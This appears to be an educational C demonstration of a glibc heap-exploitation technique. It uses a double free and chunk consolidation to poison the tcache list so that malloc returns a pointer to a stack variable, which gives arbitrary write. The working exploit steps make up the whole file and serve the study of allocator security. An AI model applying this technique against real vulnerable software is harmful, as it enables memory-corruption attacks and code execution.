| #include <stdio.h> |
| #include <stdlib.h> |
| #include <stdint.h> |
| #include <assert.h> |
| |
| |
| int main() |
| { |
| |
| * This attack should bypass the restriction introduced in |
| * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d |
| * If the libc does not include the restriction, you can simply double free the victim and do a |
| * simple tcache poisoning |
| * And thanks to @anton00b and @subwire for the weird name of this technique */ |
| |
| |
| setbuf(stdin, NULL); |
| setbuf(stdout, NULL); |
| |
| |
| puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); |
| puts("returning a pointer to an arbitrary location (in this demo, the stack)."); |
| puts("This attack only relies on double free.\n"); |
| |
| |
| intptr_t stack_var[4]; |
| puts("The address we want malloc() to return, namely,"); |
| printf("the target address is %p.\n\n", stack_var); |
| |
| |
| puts("Preparing heap layout"); |
| puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); |
| intptr_t *x[7]; |
| for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ |
| x[i] = malloc(0x100); |
| } |
| puts("Allocating a chunk for later consolidation"); |
| intptr_t *prev = malloc(0x100); |
| puts("Allocating the victim chunk."); |
| intptr_t *a = malloc(0x100); |
| printf("malloc(0x100): a=%p.\n", a); |
| puts("Allocating a padding to prevent consolidation.\n"); |
| malloc(0x10); |
| |
| |
| puts("Now we are able to cause chunk overlapping"); |
| puts("Step 1: fill up tcache list"); |
| for(int i=0; i<7; i++){ |
| free(x[i]); |
| } |
| puts("Step 2: free the victim chunk so it will be added to unsorted bin"); |
| free(a); |
| |
| puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); |
| free(prev); |
| |
| puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n"); |
| malloc(0x100); |
| |
| free(a); |
| |
| |
| |
| puts("Launch tcache poisoning"); |
| puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk"); |
| intptr_t *b = malloc(0x120); |
| puts("We simply overwrite victim's fwd pointer"); |
| b[0x120/8-2] = (long)stack_var; |
| |
| |
| puts("Now we can cash out the target chunk."); |
| malloc(0x100); |
| intptr_t *c = malloc(0x100); |
| printf("The new chunk is at %p\n", c); |
| |
| |
| assert(c==stack_var); |
| printf("Got control on target/stack!\n\n"); |
| |
| |
| puts("Note:"); |
| puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim"); |
| puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily."); |
| |
| return 0; |
| } |